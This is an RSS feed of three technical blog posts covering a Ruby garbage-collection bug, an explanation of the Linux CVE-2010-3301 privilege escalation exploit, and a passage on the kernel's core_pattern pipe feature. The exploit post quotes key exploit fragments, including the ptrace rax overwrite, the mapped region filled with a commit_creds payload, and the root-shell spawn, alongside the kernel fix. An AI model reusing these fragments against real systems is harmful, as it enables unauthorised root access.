<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>time to bleed by Joe Damato &#187; systems</title>
	<atom:link href="http://timetobleed.com/category/systems/feed/" rel="self" type="application/rss+xml" />
	<link>http://timetobleed.com</link>
	<description>technical ramblings from a wanna-be unix dinosaur</description>
	<lastBuildDate>Tue, 05 Jul 2011 13:00:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>The Broken Promises of MRI/REE/YARV</title>
		<link>http://timetobleed.com/the-broken-promises-of-mrireeyarv/</link>
		<comments>http://timetobleed.com/the-broken-promises-of-mrireeyarv/#comments</comments>
		<pubDate>Tue, 05 Jul 2011 13:00:09 +0000</pubDate>
		<dc:creator>Joe Damato</dc:creator>
				<category><![CDATA[bugfix]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=2087</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. tl;dr This post is going to explain a serious design flaw of the object system used in MRI/REE/YARV. This flaw causes seemingly random segfaults and other hard to track corruption. One popular incarnation of this bug is the &#8220;rake aborted! [...]]]></description>
			<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/nukez.jpg" alt="" width="400" height="300" /></center><br />
If you enjoy this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>tl;dr</h2>
<p>This post is going to explain a serious design flaw of the object system used in MRI/REE/YARV. This flaw causes seemingly random segfaults and other hard to track corruption. One popular incarnation of this bug is the &#8220;rake aborted! not in gzip format.&#8221;</p>
<h2>theme song</h2>
<p>This blog post was inspired by one of my favorite Papoose verses. If you don&#8217;t listen to this while reading, you probably won&#8217;t understand what I&#8217;m talking about: <a href ="http://www.infinitelooper.com/?v=JMJRfNFfGJw&#038;p=n#/106;210">get in the zone.</a></p>
<h2>rake aborted! not in gzip format<br />
[BUG] Segmentation fault<br />
</h2>
<p>If you&#8217;ve seen either of these error messages you are hitting a <i>fundamental flaw of the object model in MRI/YARV</i>. An example of a fix for <i>a single instance of this bug</i> can be seen in <a href="https://github.com/ruby/ruby/commit/1887f60a8540f64f5c7bb14d57c0be70506941b8">this patch</a>. Let&#8217;s examine this specific patch so that we can gain some understanding of the general case.</p>
<p>FACT: What you are about to read <b>is absolutely not a compiler bug</b>.</p>
<h2>A small, but important piece of background information</h2>
<p>The amd64 ABI<sup>1</sup> states that some registers are caller saved, while others are callee saved. In particular, the register <code>rax</code> is caller saved. The callee will overwrite the value in this register to store its return value for the caller so if the caller cares about what is stored in this register, it must be copied prior to a function call.</p>
<h2>stare into the abyss part 1</h2>
<p>
Let&#8217;s look at the C code for <code>gzfile_read_raw_ensure</code> <b>WITHOUT</b> the fix from above:</p>
<pre class="prettyprint">
#define zstream_append_input2(z,v)\
    zstream_append_input((z), (Bytef*)RSTRING_PTR(v), RSTRING_LEN(v))

static int
gzfile_read_raw_ensure(struct gzfile *gz, int size)
{
    VALUE str;

    while (NIL_P(gz->z.input) || RSTRING_LEN(gz->z.input) < size) {
	str = gzfile_read_raw(gz);
	if (NIL_P(str)) return Qfalse;
	zstream_append_input2(&#038;gz->z, str);
    }
    return Qtrue;
}
</pre>
</p>
<p>
It looks relatively sane at first glance, but to understand this bug we&#8217;ll need to examine the assembly generated for this thing. I&#8217;m going to rearrange the assembly a bit to make it easier to follow and add few comments a long the way.
</p>
<p>First, the code begins by setting the stage:</p>
<pre class="prettyprint">
  push   %rbp
  movslq %esi,%rbp    # sign extend "size" into rbp
  push   %rbx
  mov    %rdi,%rbx    # rbx = gz
  sub    $0x8,%rsp    # make room on the stack for "str"
</pre>
</p>
<p>
The above is pretty basic. It is your typical amd64 prologue. After things are all setup, it is time to enter into the <code>while</code> loop in the C code above:</p>
<pre class="prettyprint">
  jmp    1180 <gzfile_read_raw_ensure+0x20> # JUMP IN to the loop
</pre>
</p>
<p>
Next comes the <code>NIL_P(gz->z.input)</code> portion of the <code>while</code>-loop condition:</p>
<pre class="prettyprint">
  mov    0x18(%rbx),%rax    # rax = gz->z.input
  cmp    $0x4,%rax          # in Ruby, nil is represented as 4.
  je     1190 [gzfile_read_raw_ensure+0x30]  # if gz->z.input is nil, enter the loop
</pre>
</p>
<p>
Now the <code>RSTRING_LEN(gz->z.input) < size</code> portion:</p>
<pre class="prettyprint">
  cmp    %rbp,0x10(%rax)        # compare size and gz->z.input->len
  jge    11b0 [gzfile_read_raw_ensure+0x50]  # jump out of loop
                                             # if  gz->z.input->len is >= size
</pre>
</p>
<p>
Next comes the call to <code>gzfile_read_raw</code> and the <code>NIL_P(str)</code> check. If this check fails, the code just falls through and exits the loop:</p>
<pre class="prettyprint">
 mov    %rbx,%rdi            # rdi = gz, rdi holds the first argument to a function.
 callq  1090 [gzfile_read_raw]  # call gzfile_read_raw
 cmp    $0x4,%rax   # compare return value (%rax) to nil
 jne    1170 [gzfile_read_raw_ensure+0x10] # if it is NOT nil jump to the good stuff
</pre>
</p>
<p>The return value of <code>gzfile_read_raw_ensure</code> (an address of a ruby object) is stored in <code>rax</code>. </p>
<p>
And finally, the good stuff. The call to <code>zstream_append_input</code>:</p>
<pre class="prettyprint">
  mov    0x10(%rax),%rdx # RSTRING_LEN(v) as 3rd arg
  mov    0x18(%rax),%rsi # RSTRING_PTR(v) as 2nd arg
  mov    %rbx,%rdi       # set gz->z as the 1st arg
  callq  10e0 [zstream_append_input]  # let it rip
</pre>
</p>
<p>Note that the arguments to <code>zstream_append_input</code> are moved into registers by offsetting from <code>rax</code> and that when the call to <code>zstream_append</code> occurs, the <b>ruby object returned from <code>gzfile_read_raw_ensure</code> is still stored in rax</b> and not written to it's slot on the stack because the extra write is unnecessary.</p>
<h2>stare into the abyss part 2</h2>
<p>
Aright, so the patch changes the <code>zstream_append_input2</code> macro to this:</p>
<pre class="prettyprint">
#define zstream_append_input2(z,v)\
    RB_GC_GUARD(v),\
    zstream_append_input((z), (Bytef*)RSTRING_PTR(v), RSTRING_LEN(v))
</pre>
</p>
<p>
And, <code>RB_GC_GUARD</code> is <code>define</code>d as:</p>
<pre class="prettyprint">
#define RB_GC_GUARD_PTR(ptr) \
    __extension__ ({volatile VALUE *rb_gc_guarded_ptr = (ptr); rb_gc_guarded_ptr;})

#define RB_GC_GUARD(v) (*RB_GC_GUARD_PTR(&#038;(v)))
</pre>
</p>
<p>
That code is just a hack to mark the memory location holding <code>v</code> with the <code>volatile</code> type qualifier. This tells the compiler that memory backing <code>v</code> acts in ways that the compiler is too stupid to understand, so the compiler must ensure that reads and writes to this location are not optimized out.</p>
<p>A common usage of this qualifier is for memory mapped registers. Reads from memory mapped registers should not be optimized away since a hardware device may update the value stored at that location. The compiler wouldn't know when these updates could happen so it must make sure to re-read the value from this memory location when it is needed. Similarly, writes to memory mapped registers may modify the state of a hardware device and should not be optimized away.</p>
<p>Most of the code generated with the patch applied is the same as without except for a few slight differences before <code>zstream_append_input</code> is called. Let's take a look:</p>
<pre class="prettyprint">
  mov    %rax,-0x18(%rbp)    # write str to the stack
  mov    -0x18(%rbp),%rax    # read the value in str back to rax
  mov    0x10(%rcx),%rdx      # RSTRING_LEN(v)
  mov    0x18(%rcx),%rsi       # RSTRING_PTR(v)
  mov    %rbx,%rdi                # z
  callq  1f60 [_zstream_append_input]
</pre>
<p>
<p><b>The key difference</b> is that the return value of <code>gz_file_read_raw</code> is <i>written back to it's memory location</i> (which, in this case, happens to be on the stack and is called <code>str</code>).</p>
<h2>the bug</h2>
<p>The bug is triggered because:</p>
<ol>
<li>The address of the ruby object str is stored in a caller saved register, <code>rax</code>.</li>
<li>The callee (<code>zstream_append_input</code>) does not save the value of <code>rax</code> (it is not required to) and <code>rax</code> is overwritten in the function, leaving <b>no references</b> to the ruby object returned by <code>gzfile_read_raw</code>.</li>
<li>The callee (<code>zstream_append_input</code>) eventually calls <code>rb_newobj</code>. <code>rb_newobj</code> <i>may</i> trigger a GC run, if there are no available objects on the freelist.</li>
<li>The GC run finds the object returned by <code>gzfile_read_raw</code> but <i>sees no references to it</i> and frees the memory associated with it.</li>
<li>The freed object is used as it were it were valid, and memory corruption occurs causing the VM to explode.</li>
</ol>
<p>The patch prevents this bug from happening because:</p>
<ol>
<li>The address of the ruby object str is stored in a caller saved register, <code>rax</code>.</li>
<li>The <code>volatile</code> type qualifier causes the compiler to generate code which writes the return value back into it's memory location on the stack.</li>
<li>The callee (<code>zstream_append_input</code>) eventually calls <code>rb_newobj</code>. <code>rb_newobj</code> <i>may</i> trigger a GC run, if there are no available objects on the freelist.</li>
<li>The GC run finds the object returned by <code>gzfile_read_raw</code> and <i>finds a reference to it</i> and therefore does not free it.</li>
<li>Everyone is happy.</li>
</ol>
<h2>The general case</h2>
<p>Given valid C code, <code>gcc</code> will generate machine instructions that correctly do what you want. Of course, there are bugs in <code>gcc</code> just like any other piece of software. The problem in this case is not <code>gcc</code>. The problem is that the object and garbage collection implementations in REE/MRI/YARV are not valid C code, so it is not possible for <code>gcc</code> to generate machine instructions that do the right thing. In other words, Ruby's object and GC implementations are breaking their contract with <code>gcc</code>.</p>
<p>The end result is the need for shit like <code>RB_GC_GUARD</code> in REE/MRI/YARV and <b>also in Ruby gems</b> to selectively paper over valid <code>gcc</code> optimizations. Having an API that might cause the Ruby VM to fucking explode unless you proactively mark things with <code>RB_GC_GUARD</code> is not on the path of least resistance toward building a maintainable, safe, and performant system. Very few people out there know that the <code>volatile</code> type qualifier exists, let alone what it does. Essentially, this means that authors of Ruby gems must understand how GC works in the VM to prevent their gems from causing GC to break the universe.</p>
<p>That is fucking beyond stupid.</p>
<h2>How to detect this bug class</h2>
<p>This could be detected by building a simple static analysis tool. You won't catch 100% of cases, and you will definitely have false positives, but it is better than nothing. Something like this should work:</p>
<ol>
<li>Build a call <a href="http://en.wikipedia.org/wiki/Directed_graph">digraph</a> of the VM and/or the set of gems you care about.</li>
<li>Find all <a href="http://en.wikipedia.org/wiki/Path_(graph_theory)">paths</a> leading to the <code>rb_newobj</code> sink.</li>
<li>Find all paths which call <code>rb_newobj</code>, but do not save <code>rax</code> prior to making another function call which is also on a path to <code>rb_newobj</code>.</li>
<li>The functions found are very likely to be causing corruption. A human will need to examine the found cases to weed out false positives and to fix the code.</li>
</ol>
<p>If you have found yourself wondering <i>who the fuck would write such a test?</i> it is important for you to note that <code>rtld</code> in Linux does not save the SSE registers (which are supposed to be caller saved) prior to entering the fixup function, <b>however</b> to ensure that such an optimization does not cause the fucking universe to come crashing down, a test ships with the code to run <code>objdump</code> after building the binary. The <code>objdump</code> output is then grepped for any instructions which might modify the SSE registers. As long as no one touches the SSE registers, there is no need to save and restore them.</p>
<p>If Ruby's object and GC subsystems want to prevent the universe from exploding, it <b>must</b> supply an equivalent test to ensure that corruption is impossible.</p>
</p>
<h2>Conclusion</h2>
<ul>
<li>MRI/YARV/REE are inherently fatally flawed.</li>
<li>I'm never writing another Ruby-related blog post.</li>
<li>I'm not a Ruby programmer.</li>
</ul>
<h2>No comments</h2>
<p>I'm taking a page from the book of <a href="http://twitter.com/coda">coda</a> and disabling comments. If you got something to say, write a blog post.</p>
<p>
If you enjoyed this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>References</h2>
<ol class="footnotes"><li id="footnote_0_2087" class="footnote"> <a href="http://www.x86-64.org/documentation/abi-0.99.pdf">System V Application Binary Interface: AMD64 Architecture Processor Supplement</a> </li></ol>]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/the-broken-promises-of-mrireeyarv/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>detailed explanation of a recent privilege escalation bug in linux (CVE-2010-3301)</title>
		<link>http://timetobleed.com/detailed-explanation-of-a-recent-privilege-escalation-bug-in-linux-cve-2010-3301/</link>
		<comments>http://timetobleed.com/detailed-explanation-of-a-recent-privilege-escalation-bug-in-linux-cve-2010-3301/#comments</comments>
		<pubDate>Mon, 27 Sep 2010 11:59:43 +0000</pubDate>
		<dc:creator>Joe Damato</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[bugfix]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[privilege escalation]]></category>
		<category><![CDATA[privileges]]></category>
		<category><![CDATA[syscall]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[x86_64]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1975</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. tl;dr This article is going to explain how a recent privilege escalation exploit for the Linux kernel works. I&#8217;ll explain what the deal is from the kernel side and the exploit side. This article is long and technical; prepare yourself. [...]]]></description>
			<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/root.jpg" alt="" width="400" height="300" /></center><br />
If you enjoy this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>tl;dr</h2>
<p>This article is going to explain how a recent <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3301">privilege escalation exploit</a> for the Linux kernel works. I&#8217;ll explain what the deal is from the <a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L380">kernel side</a> and the <a href="http://sota.gen.nz/compat2/robert_you_suck.c">exploit side</a>.</p>
<p>This article is long and technical; prepare yourself.</p>
<h2>ia32 syscall emulation</h2>
<p>There are two ways to invoke system calls on the Intel/AMD family of processors:</p>
<ol>
<li>Software interrupt <code>0x80</code>.</li>
<li>The <code>sysenter</code> family of instructions.</li>
</ol>
<p>The <code>sysenter</code> family of instructions are a faster syscall interface than the traditional <code>int 0x80</code> interface, but aren&#8217;t available on some older 32bit Intel CPUs.</p>
<p>The Linux kernel has a layer of code to allow syscalls executed via <code>int 0x80</code> to work on newer kernels. When a system call is invoked with <code>int 0x80</code>, the kernel rearranges state to pass off execution to the desired system call thus maintaing support for this older system call interface.</p>
<p>This code can be found at <a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L380">http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L380</a>. We will examine this code much more closely very soon.</p>
<h2>ptrace(2) and the ia32 syscall emulation layer</h2>
<p>From the ptrace(2) man page (emphasis mine):</p>
<p>
<blockquote>The ptrace() system call provides a means by which a parent process may observe and control the execution of another process, and examine and change its core image and registers. It is primarily used to implement break-point debugging and <b>system call tracing</b>.</p></blockquote>
<p>If we examine the IA32 syscall emulation code we see some code in place to support <code>ptrace</code><sup>1</sup>:</p>
<pre class="prettyprint">
ENTRY(ia32_syscall)
/* . . . */
        GET_THREAD_INFO(%r10)
          orl $TS_COMPAT,TI_status(%r10)
        testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%r10)
        jnz ia32_tracesys
</pre>
</p>
<p>This code is placing a pointer to the thread control block (TCB) into the register <code>r10</code> and then checking if <code>ptrace</code> is listening for system call notifications. If it is, a secondary code path is entered.</p>
<p>Let&#8217;s take a look<sup>2</sup>:</p>
<pre class="prettyprint">
ia32_tracesys:
        /* . . . */
        call syscall_trace_enter
        LOAD_ARGS32 ARGOFFSET  /* reload args from stack in case ptrace changed it */
        RESTORE_REST
        cmpl $(IA32_NR_syscalls-1),%eax
        ja  int_ret_from_sys_call       /* ia32_tracesys has set RAX(%rsp) */
        jmp ia32_do_call
END(ia32_syscall)
</pre>
</p>
<p>Notice the <code>LOAD_ARGS32</code> macro and comment above. That macro <i>reloads</i> register values <i>after</i> the ptrace syscall notification has fired. <b>This is really fucking important</b> because the userland parent process listening for ptrace notifications may have modified the registers which were loaded with data to correctly invoke a desired system call. It is <i>crucial</i> that these register values are untouched to ensure that the system call is invoked correctly.</p>
<p>Also take note of the sanity check for <code>%eax</code>: <code>cmpl $(IA32_NR_syscalls-1),%eax</code></p>
<p>This check is ensuring that the value in <code>%eax</code> is less than or equal to (number of syscalls &#8211; 1). If it is, it executes <code>ia32_do_call</code>.</p>
<p>Let&#8217;s take a look at the <code>LOAD_ARGS32</code> macro<sup>3</sup>:</p>
<pre class="prettyprint">
.macro LOAD_ARGS32 offset, _r9=0
/* . . . */
movl \offset+40(%rsp),%ecx
movl \offset+48(%rsp),%edx
movl \offset+56(%rsp),%esi
movl \offset+64(%rsp),%edi
.endm
</pre>
</p>
<p><b>Notice that the register <code>%eax</code> is left untouched by this macro, even <i>after</i> the ptrace parent process has had a chance to modify its contents.</b></p>
<p>Let&#8217;s take a look at <code>ia32_do_call</code> which actually transfers execution to the system call<sup>4</sup>:</p>
<pre class="prettyprint">
ia32_do_call:
        IA32_ARG_FIXUP
        call *ia32_sys_call_table(,%rax,8) # xxx: rip relative
</pre>
</p>
<p>The system call invocation code is calling the function whose address is stored at <code>ia32_sys_call_table[8 * %rax]</code>. That is, the <code>(8 * %rax)</code>th entry in the <code>ia32_sys_call_table</code>.</p>
<h2>subtle bug leads to sexy exploit</h2>
<p>This bug was originally discovered by the polish hacker &#8220;cliph&#8221; in 2007, fixed, but then reintroduced accidentally in early 2008.</p>
<p>The exploit is made by possible by <i>three</i> key things:</p>
<ol>
<li>The register <code>%eax</code> is not touched in the <code>LOAD_ARGS</code> macro and can be set to any arbitrary value by a call to <code>ptrace</code>.</li>
<li>The <code>ia32_do_call</code> uses <code>%rax</code>, not <code>%eax</code>, when indexing into the <code>ia32_sys_call_table</code>.</li>
<li>The <code>%eax</code> check (<code>cmpl $(IA32_NR_syscalls-1),%eax</code>) in <code>ia32_tracesys</code> only checks <code>%eax</code>. Any bits in the upper 32bits of <code>%rax</code> <i>will be ignored by this check</i>.</li>
</ol>
<p>These three stars align and allow an attacker cause an <b>integer overflow</b> in <code>ia32_do_call</code> causing the kernel to hand off execution to an arbitrary address.</p>
<p>Damnnnnn, that&#8217;s hot.</p>
<h2>the exploit, step by step</h2>
<p>The exploit code is available <a href="http://sota.gen.nz/compat2/robert_you_suck.c">here</a> and was written by Ben Hawkes and others.</p>
<p>The exploit begins execution by forking and executing two copies of itself:</p>
<pre class="prettyprint">
        if ( (pid = fork()) == 0) {
                ptrace(PTRACE_TRACEME, 0, 0, 0);
                execl(argv[0], argv[0], "2", "3", "4", NULL);
                perror("exec fault");
                exit(1);
        }
</pre>
</p>
<p>The child process is set up to be traced with <code>ptrace</code> by setting the <code>PTRACE_TRACEME</code>.</p>
<p>The parent process enters a loop:</p>
<pre class="prettyprint">
        for (;;) {
                if (wait(&#038;status) != pid)
                        continue;

                /* ... */

                rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                if (rax == 0x000000000101) {
                        if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                printf("PTRACE_POKEUSER fault\n");
                                exit(1);
                        }
                        set = 1;
                }

                /* ... */

                if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                        printf("PTRACE_SYSCALL fault\n");
                        exit(1);
                }
         }
</pre>
</p>
<p>The parents calls <code>wait</code> and blocks until entry into a system call. When a system call is entered, <code>ptrace</code> is invoked to read the value of the <code>rax</code> register. If the value is <code>0x101</code>, <code>ptrace</code> is invoked to set the value of <code>rax</code> to <code>0x800000101</code> to cause an overflow as we&#8217;ll see shortly. <code>ptrace</code> is then invoked to resume execution in the child.</p>
<p>While this is happening, the child process is executing. It begins by looking the address of two symbols in the kernel:</p>
<pre class="prettyprint">
	commit_creds = (_commit_creds) get_symbol("commit_creds");
	/* ... */

	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
       /* ... */
</pre>
</p>
<p>Next, the child process attempts to create an anonymous memory mapping using <code>mmap</code>:</p>
<pre class="prettyprint">
        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
          /* ... */
</pre>
</p>
<p>This mapping is created at the address <code>tmp</code>. <code>tmp</code> is set earlier to: <code>0xffffffff80000000 + (0x0000000800000101 * 8)</code> (stored in <code>kern_s</code> in <code>main</code>).</p>
<p>This value actually causes an overflow, and wraps around to: <code>0x3f80000808</code>. <code>mmap</code> only creates mappings on page-aligned addresses, so the mapping is created at: <code>0x3f80000000</code>. This mapping is 64 megabytes large (stored in <code>size</code>).</p>
<p>Next, the child process writes the address of a function called <code>kernelmodecode</code> which makes use of the symbols <code>commit_creds</code> and <code>prepare_kernel_cred</code> which were looked up earlier:</p>
<pre class="prettyprint">
int kernelmodecode(void *file, void *vma)
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}
</pre>
</p>
<p>The address of that function is written over and over to the 64mb memory that was mapped in:</p>
<pre class="prettyprint">
        for (; (uint64_t) ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;
</pre>
</p>
<p>Finally, the child process executes syscall number <code>0x101</code> and then executes a shell after the system call returns:</p>
<pre class="prettyprint">
        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");

        /* . . . */
        execl("/bin/sh", "bin/sh", NULL);
</pre>
</p>
<h2>tying it all together</h2>
<p>When system call <code>0x101</code> is executed, the parent process (described above) receives a notification that a system call is being entered. The parent process then sets <code>rax</code> to a value which will cause an overflow: <code>0x800000101</code> and resumes execution in the child.</p>
<p>The child executes the erroneous check described above:</p>
<pre class="prettyprint">
        cmpl $(IA32_NR_syscalls-1),%eax
        ja  int_ret_from_sys_call       /* ia32_tracesys has set RAX(%rsp) */
        jmp ia32_do_call
</pre>
</p>
<p>Which <b><i>succeeds</i></b>, because it is only comparing the <i>lower 32bits</i> of <code>rax</code> (<code>0x101</code>) to <code>IA32_NR_syscalls-1</code>.</p>
<p>Next, execution continues to <code>ia32_do_call</code>, which causes an overflow, since <code>rax</code> contains a very large value.</p>
<pre class="prettyprint">
call *ia32_sys_call_table(,%rax,8)
</pre>
</p>
<p>Instead of calling the function whose address is stored in the <code>ia32_sys_call_table</code>, the address is pulled from the memory the child process mapped in, which contains the address of the function <code>kernelmodecode</code>.</p>
<p><code>kernelmodecode</code> is part of the exploit, but the kernel has access to the entire address space and is free to begin executing code wherever it chooses. As a result, <code>kernelmodecode</code> executes in kernel mode setting the privilege level of the process to those of <code>init</code>.</p>
<p>The system has been rooted.</p>
<h2>The fix</h2>
<p>The fix is to zero the upper half of <code>eax</code> and change the comparison to examine the entire register. You can see the diffs of the fix <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blobdiff;f=arch/x86/ia32/ia32entry.S;h=518bb99c339480820fc3995b1456d29704d67f07;hp=84e3a4ef9719562f67d32a426aa60e5c23093abd;hb=eefdca043e8391dcd719711716492063030b55ac;hpb=36d001c70d8a0144ac1d038f6876c484849a74de">here</a> and <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blobdiff;f=arch/x86/ia32/ia32entry.S;h=84e3a4ef9719562f67d32a426aa60e5c23093abd;hp=b86feabed69bfe8e74f81f179c91fbe3a4b799d8;hb=36d001c70d8a0144ac1d038f6876c484849a74de;hpb=c41d68a513c71e35a14f66d71782d27a79a81ea6">here</a>.</p>
<h2>Conclusions</h2>
<ul>
<li>Reading exploit code is fun. Sometimes you find particularly sexy exploits like this one.</li>
<li>The IA32 syscall emulation layer is, in general, pretty wild. I would not be surprised if more bugs are discovered in this section of the kernel.</li>
<li>Code reviews play a really important part of overall security for the Linux kernel, but subtle bugs like this are very difficult to catch via code review.</li>
<li>I'm not a Ruby programmer.</li>
</ul>
<p>If you enjoyed this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>References</h2>
<ol class="footnotes"><li id="footnote_0_1975" class="footnote"><a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L424">http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L424</a></li><li id="footnote_1_1975" class="footnote"><a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L439">http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L439</a></li><li id="footnote_2_1975" class="footnote"><a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L50">http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L50</a></li><li id="footnote_3_1975" class="footnote"><a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L430">http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L430</a></li></ol>]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/detailed-explanation-of-a-recent-privilege-escalation-bug-in-linux-cve-2010-3301/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>an obscure kernel feature to get more info about dying processes</title>
		<link>http://timetobleed.com/an-obscure-kernel-feature-to-get-more-info-about-dying-processes/</link>
		<comments>http://timetobleed.com/an-obscure-kernel-feature-to-get-more-info-about-dying-processes/#comments</comments>
		<pubDate>Mon, 20 Sep 2010 11:59:03 +0000</pubDate>
		<dc:creator>Joe Damato</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[kernel]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1931</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. tl;dr This post will describe how I stumbled upon a code path in the Linux kernel which allows external programs to be launched when a core dump is about to happen. I provide a link to a short and ugly [...]]]></description>
			<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/segfault.jpg" alt="" width="400" height="300" /></center><br />
If you enjoy this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>tl;dr</h2>
<p>This post will describe how I stumbled upon a code path in the Linux kernel which allows external programs to be launched when a core dump is about to happen. I provide a link to a short and ugly <a href="http://gist.github.com/587443">Ruby script</a> which captures a faulting process, runs <code>gdb</code> to get a backtrace (and other information), captures the core dump, and then generates a notification email.</p>
<h2>I don&#8217;t care about faults because I use <code><a href="http://mmonit.com/monit/">monit</a></code>, <code><a href="http://god.rubyforge.org/">god</a></code>, etc</h2>
<p>Chill.</p>
<p>Your processes may get automatically restarted when a fault occurs and you may even get an email letting you know your process died. Both of those things are useful, but it turns out that with <i>just a tiny bit</i> of extra work you can actually get very detailed emails showing a <b>stack trace</b>, <b>register information</b>, and a <b>snapshot of the process&#8217; files in <code>/proc</code></b>.
</p>
<h2>random walking the linux kernel</h2>
<p>One day I was sitting around wondering how exactly the coredump code paths are wired. I cracked open the <a href="http://lxr.linux.no">kernel source</a> and started reading.</p>
<p>It wasn&#8217;t long until I saw this piece of code from <code>exec.c</code><sup>1</sup>:</p>
<pre class="prettyprint">
void do_coredump(long signr, int exit_code, struct pt_regs *regs)
{
  /* .... */
  lock_kernel();
  ispipe = format_corename(corename, signr);
  unlock_kernel();

   if (ispipe) {
   /* ... */
</pre>
</p>
<p>Hrm. <code>ispipe</code>? That seems interesting. I wonder what <code>format_corename</code> does and what <code>ispipe</code> means. Following through and reading <code>format_corename</code><sup>2</sup>:</p>
<pre class="prettyprint">
static int format_corename(char *corename, long signr)
{
	/* ... */

        const char *pat_ptr = core_pattern;
        int ispipe = (*pat_ptr == '|');

	/* ... */

        return ispipe;
}
</pre>
</p>
<p>
In the above code, <code>core_pattern</code> (which can be set with a sysctl or via <code>/proc/sys/kernel/core_pattern</code>) to determine if the first character is a <code>|</code>. If so, <code>format_corename</code> returns <code>1</code>. So <code>|</code> seems relatively important, but at this point I&#8217;m still unclear on what it actually <i>means</i>.</p>
<p>Scanning the rest of the code for <code>do_coredump</code> reveals something very interesting<sup>3</sup> (this is more code from the function in the first code snippet above):</p>
<pre class="prettyprint">
     /* ... */

     helper_argv = argv_split(GFP_KERNEL, corename+1, NULL);

     /* ... */

     retval = call_usermodehelper_fns(helper_argv[0], helper_argv,
                             NULL, UMH_WAIT_EXEC, umh_pipe_setup,
                             NULL, &#038;cprm);

    /* ... */
</pre>
</p>
<p><b>WTF?</b> <code>call_usermodehelper_fns</code>? <code>umh_pipe_setup</code>? This is looking pretty interesting. If you follow the code down a few layers, you end up at <code>call_usermodehelper_exec</code> which has the following very enlightening comment:</p>
<pre class="prettyprint">
/**
 * call_usermodehelper_exec - start a usermode application
 *
 *  . . .
 *
